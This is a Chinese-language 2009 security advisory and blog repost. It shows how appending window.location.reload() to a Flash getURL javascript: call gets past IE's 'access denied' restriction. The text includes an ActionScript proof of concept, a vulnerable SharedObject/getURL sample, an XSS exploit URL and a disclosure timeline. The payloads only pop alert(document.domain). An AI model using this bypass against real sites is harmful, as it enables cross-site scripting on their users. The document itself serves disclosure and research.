Author: www.80vul.com

1.描叙:

由于近年来flash的安全问题流行,adobe也做了很多的安全措施,包括在ie下getURL调用javascript时是没有办法访问document等 如下as2代码:

getURL("javascript:alert(document.domain);", "_self", "GET");

用ie6/7/8直接访问时会提示"拒绝访问"的错误.测试url: http://www.80vul.com/flash/1.swf .细心的朋友可能发现刷新1.swf后发现就可以执行弹了.根据这个特点我们可以通过js来实现这个"刷新"动作,导致可以饶过这个安全限制.

2.利用代码:

as2代码:

getURL("javascript:window.location.reload();alert(document.domain);", "_self", "GET");

测试url: http://www.80vul.com/flash/3.swf

源文件: http://www.80vul.com/flash/3.fla

3.其他

2009.1.1 发现该bug

2009.1.3 报告adobe

2009.1.4 kuza55告诉我已经有人pubic过了[http://blog.guya.net/2008/09/10/bug-in-internet-explorer-security-model-when-embedding-flash/]

----------# 鬼仔:下面这部分是SuperHei发在他blog上的----------

这个bug就是在blog:http://hi.baidu.com/hi_heige/blog/item/5772bdc2be818052b319a89a.html提到的那个问题.

这个漏洞还是很有危险的,网络上还有很多使用geturl的flash文件.如下代码:

// Create a new shared object or read an existing one

mySharedObject = SharedObject.getLocal("flashToLoad");

if (_root.flashfile == undefined)

{

// Check whether there is a shared object saved

if (mySharedObject.data.flash == null)

{

// Set a default value

_root.flashfile = "defaultFlash.swf";

}

else

{

// Read the flash file to load from the shared object

_root.flashfile = mySharedObject.data.flash;

}

}

// Store the flash file's name in the shared object

mySharedObject.data.flash = _root.flashfile;

// Load the flash file

getURL(_root.flashfile);

这个是某牛人在他ppt里引用的可以xss的flash文件.当时的 exp:foo.swf?flashfile=javascript:alert(document.domain); 现在这个会提示"拒绝访问".现在的exp可以是这 样:foo.swf?flashfile=javascript:window.location.reload();alert(document.domain);

<script type="text/javascript"><!--
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
// --></script>
<script type="text/javascript"><!--
var pageTracker = _gat._getTracker("UA-6237497-1");
pageTracker._trackPageview();
// --></script>